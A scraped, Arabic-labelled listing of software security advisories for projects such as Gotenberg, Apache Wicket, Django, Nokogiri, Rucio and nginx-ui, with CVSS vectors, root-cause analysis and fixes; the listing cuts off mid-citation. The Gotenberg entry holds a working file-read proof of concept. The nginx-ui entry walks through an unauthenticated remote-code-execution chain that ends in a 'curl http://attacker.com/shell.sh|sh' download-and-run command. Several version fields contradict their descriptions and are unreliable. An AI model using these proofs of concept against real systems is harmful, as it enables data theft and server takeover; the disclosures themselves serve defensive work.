CWE-200 — Info Disclosure
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
الوصف الكامل
## Summary Six conversion routes (`pdfengines/merge`, `pdfengines/split`, `libreoffice/convert`, `chromium/convert/url`, `chromium/convert/html`, `chromium/convert/markdown`) accept `stampSource=pdf` + `stampExpression=/path` and `watermarkSource=pdf` + `watermarkExpression=/path` from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the output PDF, which returns to the caller. An attacker reads any PDF the Gotenberg process can access on the container filesystem. ## Details The dedicated stamp route at `pkg/modules/pdfengines/routes.go:1322-1332` rejects requests missing the stamp file: ```go if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF { if stampFile == "" { return api.WrapError(errors.New("no stamp file provided"), ...) } stamp.Expression = stampFile } ``` The merge, split, LibreOffice, and Chromium routes use a lax pattern across twelve call sites (six stamp + six watermark): ```go // pkg/modules/pdfengines/routes.go:679-683 (merge), 803 (split); // pkg/modules/libreoffice/routes.go:307-311; // pkg/modules/chromium/routes.go:433-438, 508-513, 592-597 if (stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF) && stampFile != "" { stamp.Expression = stampFile } if (watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF) && watermarkFile != "" { watermark.Expression = watermarkFile } ``` When `stampFile == ""` (no file attached to the `stamp` form field), the guard short-circuits and `stamp.Expression` keeps the raw user-supplied `stampExpression` form string. The same pattern applies to `watermarkFile`/`watermarkExpression`. `pkg/modules/pdfcpu/pdfcpu.go:635` forwards the expression straight to the pdfcpu CLI: ```go args := []string{"stamp", "add", "-mode", "pdf", "--", stamp.Expression, onDesc, inputPath, outputPath} cmd, err := gotenberg.CommandContext(ctx, logger, cfg.BinPath, args...) ``` pdfcpu reads the target PDF at that path and composites its pages as a stamp on every page of the merged output. ## Proof of Concept Reproduction on the stock Docker image. The scenario models a deployment that mounts host paths into the container (common for document-processing pipelines) or where another request leaves a PDF in the shared `/tmp` filesystem: ```bash docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8 docker exec gotenberg-poc sh -c 'cat > /tmp/victim_doc.pdf' < victim.pdf ``` Where `victim.pdf` contains extractable text such as `BOB-CONFIDENTIAL-CONTRACT-2026-04-20`. Alice attacks without auth: ```python import requests, io, subprocess T = "http://localhost:3000" minimal = (b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\nendobj\n" b"xref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n" b"0000000058 00000 n \n0000000115 00000 n \n" b"trailer\n<< /Size 4 /Root 1 0 R >>\nstartxref\n180\n%%EOF\n") r = requests.post( f"{T}/forms/pdfengines/merge", files={"file1": ("a.pdf", io.BytesIO(minimal), "application/pdf"), "file2": ("b.pdf", io.BytesIO(minimal), "application/pdf")}, data={"stampSource": "pdf", "stampExpression": "/tmp/victim_doc.pdf"}, timeout=30, ) print(f"HTTP {r.status_code} bytes={len(r.content)}") open("/tmp/out.pdf", "wb").write(r.content) print(subprocess.run(["pdftotext", "/tmp/out.pdf", "-"], capture_output=True, text=True).stdout) ``` Observed output against gotenberg 8.31.0: ``` HTTP 200 bytes=1852 BOB-CONFIDENTIAL-CONTRACT-2026-04-20 ... ``` Non-PDF targets via `stampSource=pdf` (for example `/etc/hostname`) return HTTP 500 after pdfcpu fails to parse the file as PDF, which acts as a file-existence oracle. `stampSource=image` with non-image files returns HTTP 400 (image parsing rejects it). The same PoC applies with `stampSource` replaced by `watermarkSource` and `stampExpression` by `watermarkExpression`. ## Impact Any anonymous caller with access to port 3000 reads PDF files from any path the Gotenberg process can open. In the default Docker image with no volume mounts, the reachable set is limited to `/tmp/<gotenberg-work-uuid>/<request-uuid>/*.pdf` (files staged during another in-flight request) and any PDF files the base image happens to ship. In deployments that bind-mount host directories into the container (document processing pipelines, shared storage for Office document conversion), the attacker reads arbitrary PDF files under those mount points. The file-existence oracle additionally lets the attacker probe for the presence of non-PDF files anywhere the process can read. ## Recommended Fix Apply the dedicated stamp route's guard to all six stamp call sites and all six watermark call sites: ```go if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF { if stampFile == "" { return api.WrapError( errors.New("no stamp file provided for image or pdf source"), api.NewSentinelHttpError(http.StatusBadRequest, "Invalid form data: a stamp file is required for image or pdf source"), ) } stamp.Expression = stampFile } if watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF { if watermarkFile == "" { return api.WrapError( errors.New("no watermark file provided for image or pdf source"), api.NewSentinelHttpError(http.StatusBadRequest, "Invalid form data: a watermark file is required for image or pdf source"), ) } watermark.Expression = watermarkFile } ``` Call sites: `pkg/modules/pdfengines/routes.go:679-683` (merge), `:803-807` (split), `pkg/modules/libreoffice/routes.go:307-311`, `pkg/modules/chromium/routes.go:433-438` (url), `:508-513` (html), `:592-597` (markdown), plus each route's watermark counterpart. --- *Found by [aisafe.io](https://aisafe.io)*
الإصدارات المتأثرة
All versions < 0
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
الوصف الكامل
### Impact Applications using Spring Cloud AWS SNS HTTP/HTTPS endpoint support (@NotificationMessageMapping, @NotificationSubscriptionMapping, @NotificationUnsubscribeConfirmationMapping) did not verify the signature of incoming SNS messages. An unauthenticated attacker who knows the endpoint URL could send crafted HTTP POST requests mimicking SNS Notification or SubscriptionConfirmation messages, causing the application to: - Process arbitrary payloads as if they were legitimate SNS notifications. - Auto-confirm subscriptions or unsubscribe from attacker-controlled topics. Affected versions: 3.0.0 through 3.4.2, 4.0.0, and 4.0.1. The 3.x line will not receive a fix; users on 3.x should apply the workaround below or upgrade to 4.0.2. ### Patches Fixed in Spring Cloud AWS 4.0.2. When using Spring Boot auto-configuration, signature verification is enabled by default. Users should upgrade to 4.0.2. ### Workarounds Manually verify the SNS message signature in a servlet filter or Spring HandlerInterceptor before the request reaches the controller, using SnsMessageManager from the AWS SDK v2 sns-message-manager module. ### Resources - AWS SNS: Verifying the signatures of Amazon SNS messages (https://docs.aws.amazon.com/sns/latest/dg/sns-verify-signature-of-message.html) - AWS SDK for Java v2: SnsMessageManager (https://sdk.amazonaws.com/java/api/latest/software/amazon/awssdk/messagemanager/sns/SnsMessageManager.html) - Fix PR: #1614
الإصدارات المتأثرة
4.0.0, 4.0.1
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
الوصف الكامل
Vvveb before version 1.0.8.2 contains a hard-coded credentials vulnerability in its docker-compose-apache.yaml configuration that allows unauthenticated attackers to access the bundled phpMyAdmin container with pre-configured database credentials. Attackers can connect to the phpMyAdmin port to gain unrestricted read and write access to the entire Vvveb database, including administrator password hashes, customer personally identifiable information, and order data, enabling account takeover and data manipulation.
نوع الثغرة
CWE-306 — Auth Bypass
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المراجع
https://github.com/givanz/Vvveb/releases/tag/1.0.8.2
https://github.com/givanz/Vvveb/security/advisories/GHSA-g38h-mr9p-fjmf
https://www.vulncheck.com/advisories/vvveb-hard-coded-credentials-information-disclosure-via-phpmyadmin
الوصف الكامل
## Summary Nokogiri's CSS selector tokenizer contains regular expressions whose construction may result in exponential regex backtracking on adversarial selectors. Three ReDoS vectors are addressed in this release: 1. String-literal tokenization on certain unterminated quoted-string input. 2. String-literal tokenization on a separate class of hex-escape-rich input. 3. Identifier tokenization on hex-escape-rich input. The public CSS selector methods that funnel through the affected tokenizer are `Nokogiri::CSS.xpath_for`, `Node#css`, `Node#at_css`, `Searchable#search`, and `CSS::Parser#parse`. ## Mitigation Upgrade to Nokogiri `>= 1.19.3`. If users are unable to upgrade, two options are available: - Avoid the use of attacker-controlled text in CSS selectors. Applications that only pass developer-authored selectors to Nokogiri are not directly exposed. - Set global `Regexp.timeout` (Ruby 3.2+, JRuby 9.4+) to bound parse time. ## Severity The Nokogiri maintainers have evaluated this as **High Severity** (CVSS 7.5, `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`). An attacker able to inject user-supplied text into a CSS selector parse method can cause exponential backtracking, resulting in a potential denial of service. ## Resources - [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html) ## Credit Vector 1 was responsibly reported by @colby-swandale. Vectors 2 and 3 were discovered by @flavorjones during the response to the original report.
الإصدارات المتأثرة
1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
الوصف الكامل
### Summary A SQL injection vulnerability in the Oracle path of `FilterEngine.create_sqla_query` allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (`GET /dids/<scope>/dids/search`). Attacker-controlled filter keys and values are interpolated directly into `sqlalchemy.text` via Python `str.format`, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. The vulnerability is affecting deployments using the default metadata plugin configuration `json_meta` with Oracle database backends. ### Details *Will follow in two weeks (2025-05-19).* ### Impact **Vulnerability type:** SQL Injection (CWE-89) **Who is impacted:** - **All Oracle-based Rucio deployments** using the default metadata plugin configuration (`json_meta`). - ***Not affected*** are PostgreSQL/MySQL deployments using the default `json_meta` plugin (SQLAlchemy parameterizes the JSON path operations via bind parameters on non-Oracle dialects). **What an attacker can do:** - **Full database read access:** Extract any table including `identities` (password hashes and salts), `tokens` (active authentication sessions), `accounts` (user enumeration), `rse_settings` (storage endpoint credentials), and `rules` (data management policies). - **Password hash extraction:** Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed. - **Authentication token theft:** Active bearer tokens can be extracted and used for immediate session hijacking. - **Data modification:** Oracle PL/SQL enables `INSERT`/`UPDATE`/`DELETE` operations via DML within subqueries and PL/SQL blocks. - **Potential remote code execution:** Via Oracle's `UTL_HTTP`, `DBMS_SCHEDULER`, or Java stored procedures if the database user has elevated privileges. **Required attacker privileges:** Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The `GET /dids/<scope>/dids/search` endpoint is available to all authenticated users.
الإصدارات المتأثرة
1.27.0, 1.27.0.post1, 1.27.1, 1.27.10, 1.27.11
نوع الثغرة
CWE-89 — SQL Injection
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
الوصف الكامل
Apache::Session::Generate::ModUniqueId versions from 1.54 through 1.94 for Perl session ids are insecure. Apache::Session::Generate::ModUniqueId (added in version 1.54) uses the value of the UNIQUE_ID environment variable for the session id. The UNIQUE_ID variable is set by the Apache mod_unique_id plugin, which generates unique ids for the request. The id is based on the IPv4 address, the process id, the epoch time, a 16-bit counter and a thread index, with no obfuscation. The server IP is often available to the public, and if not available, can be guessed from previous session ids being issued. The process ids may also be guessed from previous session ids. The timestamp is easily guessed (and leaked in the HTTP Date response header). The purpose of mod_unique_id is to assign a unique id to requests so that events can be correlated in different logs. The id is not designed, nor is it suitable for security purposes.
نوع الثغرة
CWE-340 — CWE-340
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
الوصف الكامل
FolderUploadsFileManager in Apache Wicket does not validate or sanitize the uploadFieldId parameter or the clientFileName before constructing file paths, allowing an unauthenticated attacker to write arbitrary files outside the intended upload directory or read files from arbitrary locations on the server. This issue affects Apache Wicket: from 8.0.0 through 8.17.0, from 9.0.0 through 9.22.0, from 10.0.0 through 10.8.0. Users are recommended to upgrade to version 10.9.0, which fixes the issue.
الإصدارات المتأثرة
8.0.0 - 8.17.0
نوع الثغرة
CWE-22 — Path Traversal
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
الوصف الكامل
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Wicket. This issue affects Apache Wicket: from 8.0.0 through 8.17.0, from 9.0.0 through 9.22.0, from 10.0.0 through 10.8.0. Users are recommended to upgrade to version 10.9.0, which fixes the issue.
الإصدارات المتأثرة
8.0.0 - 8.17.0
نوع الثغرة
CWE-200 — Info Disclosure
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache Wicket. This issue affects Apache Wicket: from 8.0.0 through 8.17.0, 9.0.0, from 10.0.0 through 10.8.0. Users are recommended to upgrade to version 10.9.0, which fixes the issue.
الإصدارات المتأثرة
8.0.0 - 8.17.0
نوع الثغرة
CWE-79 — XSS
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
الوصف الكامل
Missing invocation of Servlet http web request method changeSessionId after session binding can be exploited for a session fixation attack in Apache Wicket. This issue affects Apache Wicket: from 8.0.0 through 8.17.0, 9.0.0, from 10.0.0 through 10.8.0. Users are recommended to upgrade to version 10.9.0, which fixes the issue.
الإصدارات المتأثرة
8.0.0 - 8.17.0
نوع الثغرة
CWE-384 — Session Fixation
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
الوصف الكامل
Heap-based Buffer Overflow vulnerability in mod_proxy_ajp of Apache HTTP Server. If mod_proxy_ajp connects to a malicious AJP server this AJP server can send a malicious AJP message back to mod_proxy_ajp and cause it to write 4 attacker controlled bytes after the end of a heap based buffer. This issue affects Apache HTTP Server: through 2.4.66. Users are recommended to upgrade to version 2.4.67, which fixes the issue.
الإصدارات المتأثرة
2.4.67
نوع الثغرة
CWE-122 — CWE-122
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
### Impact `S3FileMiddleware` is vulnerable to relative path traversal attacks, where an attacker can use a modified request to escape pre-signed upload locations and have the Django application load files from random locations into `request.FILES` Depending on how files are handled, this may lead to confidentiality and integrity issues. ### Patches Django-S3File urges all users to update to a patched version >=7.0.2.
الإصدارات المتأثرة
All versions < 0.1.0, 0.1.1, 0.1.10, 0.1.11, 0.1.12
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
الوصف الكامل
Kestra v1.3.3 and before is vulnerable to SQL Injection. The vulnerability occurs because user-controlled input from a GET parameter is directly concatenated into an SQL query without proper sanitization or parameterization. As a result, attackers can inject arbitrary SQL expressions into the database query.
الإصدارات المتأثرة
1.0.35
نوع الثغرة
CWE-89 — SQL Injection
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
ERPNext v15.103.1 and before is vulnerable to Server-Side Template Injection (SSTI). An attacker with permission to create or edit email templates can inject template expressions that are executed on the server when the template is rendered.
الإصدارات المتأثرة
15.103.1
نوع الثغرة
CWE-94 — Code Injection
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. `django.middleware.cache.UpdateCacheMiddleware` erroneously caches requests where the `Vary` header contained an asterisk (`'*'`). This can lead to private data being stored and served. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Ahmad Sadeddin for reporting this issue.
الإصدارات المتأثرة
5.2 - 5.2.14
نوع الثغرة
CWE-524 — CWE-524
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
الوصف الكامل
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. ASGI requests with a missing or understated `Content-Length` header can bypass the `FILE_UPLOAD_MAX_MEMORY_SIZE` limit, potentially loading large files into memory and causing service degradation. As a reminder, Django expects a limit to be configured at the web server level rather than solely relying on `FILE_UPLOAD_MAX_MEMORY_SIZE`. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Kyle Agronick for reporting this issue.
الإصدارات المتأثرة
5.2 - 5.2.14
نوع الثغرة
CWE-130 — CWE-130
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
الوصف الكامل
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. Response headers do not vary on cookies if a session is not modified, but `SESSION_SAVE_EVERY_REQUEST` is `True`. A remote attacker can steal a user's session after that user visits a cached public page. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Cantina for reporting this issue.
الإصدارات المتأثرة
5.2 - 5.2.14
نوع الثغرة
CWE-539 — CWE-539
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
الوصف الكامل
Allocation of Resources Without Limits or Throttling vulnerability in Apache HTTP Server's mod_md via OCSP response data. This issue affects Apache HTTP Server: from 2.4.30 through 2.4.66. Users are recommended to upgrade to version 2.4.67, which fixes the issue.
الإصدارات المتأثرة
2.4.30 - 2.4.67
نوع الثغرة
CWE-770 — Resource Exhaustion
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
Origin Validation Error, Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting'), Uncontrolled Resource Consumption vulnerability in Apache Thrift. This issue affects Apache Thrift: before 0.23.0. Users are recommended to upgrade to version [0.23.0](https://github.com/apache/thrift/releases/tag/v0.23.0), which fixes the issue.
الإصدارات المتأثرة
All versions < 0.23.0
نوع الثغرة
CWE-22 — Path Traversal
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
Memory Allocation with Excessive Size Value vulnerability in Apache Thrift. This issue affects Apache Thrift: before 0.23.0. Users are recommended to upgrade to version [0.23.0](https://github.com/apache/thrift/releases/tag/v0.23.0), which fixes the issue.
الإصدارات المتأثرة
All versions < 0.23.0
نوع الثغرة
CWE-789 — CWE-789
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
الوصف الكامل
Improper Validation of Certificate with Host Mismatch vulnerability in Apache Thrift. This issue affects Apache Thrift: before 0.23.0. Users are recommended to upgrade to version [0.23.0](https://github.com/apache/thrift/releases/tag/v0.23.0), which fixes the issue.
الإصدارات المتأثرة
All versions < 0.23.0
نوع الثغرة
CWE-297 — CWE-297
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
**Product:** nginx-ui **Repository:** `0xJacky/nginx-ui` (branch: `dev`) **Vulnerability Class:** Authentication Bypass → Arbitrary File Write → OS Command Injection **Affected Component:** `POST /api/restore` --- ## 1. Vulnerability Summary nginx-ui exposes a backup restore endpoint (`POST /api/restore`) that is **completely unauthenticated** during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (`app.ini`) and SQLite database. Because the attacker controls the restored `app.ini`, they can inject an arbitrary OS command into the `TestConfigCmd` setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically `root` in Docker deployments. The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart). --- ## 2. Root Cause Analysis ### 2.1 The Restore Route Is Registered Without Authentication `backup.InitRouter` is called on the `root` group, which carries only `IPWhiteList()` middleware — no `AuthRequired()`: [1](#2-0) The route definition: [2](#2-1) ### 2.2 The `authIfInstalled` Guard Has a Time-Bounded Bypass The only authentication guard on the restore route is `authIfInstalled`: [3](#2-2) It calls `AuthRequired()` only when `InstallLockStatus() || IsInstallTimeoutExceeded()` is true. Both conditions are false on a fresh install within the first 10 minutes: [4](#2-3) - `InstallLockStatus()` returns `false` because `JwtSecret` is `""` on a fresh install and `SkipInstallation` defaults to `false`. - `IsInstallTimeoutExceeded()` returns `false` for the first 10 minutes after `startupTime` is set in `init()`. When both are `false`, `authIfInstalled` calls `ctx.Next()` with **zero authentication**. ### 2.3 The `EncryptedForm` Middleware Is Not a Security Barrier The `EncryptedForm()` middleware between `authIfInstalled` and `RestoreBackup` is **optional** — it only activates if the request includes an `encrypted_params` field. If that field is absent, it calls `c.Next()` immediately: [5](#2-4) An attacker sends a plain `multipart/form-data` request without `encrypted_params` and the middleware is a no-op. ### 2.4 The Attacker Controls the AES Key Used to Verify the Backup The restore handler accepts the AES key and IV directly from the attacker via the `security_token` form field: [6](#2-5) The manifest integrity check derives its HMAC signing key **from the attacker-supplied AES key**: [7](#2-6) Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup. ### 2.5 Restore Overwrites `app.ini` and the SQLite Database Unconditionally When `restore_nginx_ui=true`, `restoreNginxUIConfig` directly copies files from the backup onto disk with no content validation: [8](#2-7) ### 2.6 Restored `TestConfigCmd` Is Executed as a Shell Command After restore, `risefront.Restart()` is called, reloading `app.ini`: [9](#2-8) On the next call to `TestConfig()`, the value of `TestConfigCmd` from the restored `app.ini` is passed verbatim to `/bin/sh -c`: [10](#2-9) [11](#2-10) --- ## 3. Attack Prerequisites | Requirement | Notes | |---|---| | Network access to nginx-ui port | Default: 9000/tcp | | Target is a fresh install | `JwtSecret` is empty in `app.ini` | | Within 10 minutes of last process start | Window resets on every restart | | IP not blocked by `IPWhiteList` | Default config has no IP whitelist | The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets `startupTime` via `init()`, reopening the window. --- ## 4. Step-by-Step Proof of Concept ### Step 1 — Confirm the installation window is open ```http GET /api/install HTTP/1.1 Host: target:9000 ``` Expected response confirming vulnerability: ```json {"lock": false, "timeout": false} ``` ### Step 2 — Craft the malicious backup The backup format (derived from `internal/backup/backup.go`) is: ``` backup-TIMESTAMP.zip ← outer ZIP (unencrypted) ├── manifest.json ← JSON manifest ├── manifest.sig ← HMAC-SHA256 of manifest.json ├── nginx-ui.zip ← AES-CBC encrypted inner ZIP └── nginx.zip ← AES-CBC encrypted inner ZIP ``` **2a.** Generate a random 32-byte AES key and 16-byte IV. **2b.** Create the malicious `app.ini` to place inside `nginx-ui.zip`: ```ini [app] JwtSecret = attacker_chosen_jwt_secret_32chars [node] Secret = attacker_chosen_node_secret [nginx] TestConfigCmd = curl http://attacker.com/shell.sh|sh ``` **2c.** Create a SQLite database (`nginx-ui.db`) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access). **2d.** Package `app.ini` and `nginx-ui.db` into `nginx-ui.zip`. Package an empty or minimal `nginx.zip`. **2e.** Encrypt both ZIPs with AES-256-CBC using your key and IV. **2f.** Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build `manifest.json`: ```json { "schema": 1, "created_at": "20260421-120000", "version": "2.0.0", "files": [ {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>}, {"name": "nginx.zip", "sha256": "<hash>", "size": <size>} ] } ``` **2g.** Compute the HMAC-SHA256 signature of `manifest.json` using the signing key derived as: ```python import hashlib, hmac context = b"nginx-ui-backup-signing-v1:" signing_key = hashlib.sha256(context + aes_key).digest() sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest() ``` **2h.** Assemble the outer ZIP containing `manifest.json`, `manifest.sig`, `nginx-ui.zip`, `nginx.zip`. ### Step 3 — Upload the malicious backup (no authentication required) ```http POST /api/restore HTTP/1.1 Host: target:9000 Content-Type: multipart/form-data; boundary=----Boundary ------Boundary Content-Disposition: form-data; name="backup_file"; filename="evil.zip" Content-Type: application/zip [crafted backup bytes] ------Boundary Content-Disposition: form-data; name="security_token" <base64(aes_key)>:<base64(aes_iv)> ------Boundary Content-Disposition: form-data; name="restore_nginx_ui" true ------Boundary-- ``` Expected response (HTTP 200): ```json {"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true} ``` nginx-ui calls `risefront.Restart()` 2 seconds later, loading the attacker's `app.ini`. ### Step 4 — Trigger RCE using the restored node secret After the restart (wait ~3 seconds): ```http POST /api/nginx/test HTTP/1.1 Host: target:9000 X-Node-Secret: attacker_chosen_node_secret ``` nginx-ui executes: ```sh /bin/sh -c "curl http://attacker.com/shell.sh|sh" ``` The attacker now has a reverse shell running as the nginx-ui process user (typically `root` in Docker). --- ## 5. Impact - **Confidentiality:** Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in `app.ini`. - **Integrity:** Arbitrary modification of all nginx configurations and nginx-ui application state. - **Availability:** Complete denial of service; nginx and nginx-ui can be stopped or misconfigured. - **Scope:** OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode. --- ## 6. Affected Versions All versions of nginx-ui where `authIfInstalled` is used as the sole authentication guard on `POST /api/restore`. The vulnerability is present in the current `dev` branch. --- ## 7. Recommended Fix **Primary fix** — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive: ```go // api/backup/router.go func InitRouter(r *gin.RouterGroup) { r.GET("/backup", middleware.AuthRequired(), CreateBackup) r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup) } ``` If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window. **Secondary fix** — Validate the content of restored `app.ini` before writing it to disk. Specifically, `TestConfigCmd`, `ReloadCmd`, and `RestartCmd` should be rejected or stripped from any externally-supplied backup. --- ## 8. Timeline | Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) | ### Citations **File:** router/routers.go (L61-70) ```go root := r.Group("/api", middleware.IPWhiteList()) { public.InitRouter(root) crypto.InitPublicRouter(root) user.InitAuthRouter(root) license.InitRouter(root) system.InitPublicRouter(root) system.InitSelfCheckRouter(root) backup.InitRouter(root) ``` **File:** api/backup/router.go (L9-16) ```go // authIfInstalled requires auth if system is installed func authIfInstalled(ctx *gin.Context) { if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() { middleware.AuthRequired()(ctx) } else { ctx.Next() } } ``` **File:** api/backup/router.go (L18-25) ```go func InitRouter(r *gin.RouterGroup) { // Backup always requires authentication (contains sensitive data) r.GET("/backup", middleware.AuthRequired(), CreateBackup) // Restore requires auth only after installation // This allows restoring backup during initial setup r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup) } ``` **File:** api/system/install.go (L27-34) ```go func InstallLockStatus() bool { return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != "" } // IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded func IsInstallTimeoutExceeded() bool { return time.Since(startupTime) > 10*time.Minute } ``` **File:** internal/middleware/encrypted_params.go (L69-75) ```go // Check if encrypted_params field exists encryptedParams := c.Request.FormValue("encrypted_params") if encryptedParams == "" { // No encryption, continue normally c.Next() return } ``` **File:** api/backup/restore.go (L35-70) ```go securityToken := c.PostForm("security_token") // Get concatenated key and IV // Get backup file backupFile, err := c.FormFile("backup_file") if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error())) return } // Validate security token if securityToken == "" { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return } // Split security token to get Key and IV parts := strings.Split(securityToken, ":") if len(parts) != 2 { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return } aesKey := parts[0] aesIv := parts[1] // Decode Key and IV from base64 key, err := base64.StdEncoding.DecodeString(aesKey) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error())) return } iv, err := base64.StdEncoding.DecodeString(aesIv) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error())) return } ``` **File:** api/backup/restore.go (L126-132) ```go if restoreNginxUI { go func() { time.Sleep(2 * time.Second) // gracefully restart risefront.Restart() }() } ``` **File:** internal/backup/manifest.go (L156-163) ```go func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) { if len(aesKey) == 0 { return nil, ErrInvalidAESKey } sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...)) return sum[:], nil } ``` **File:** internal/backup/restore.go (L458-484) ```go // restoreNginxUIConfig restores nginx-ui configuration files func 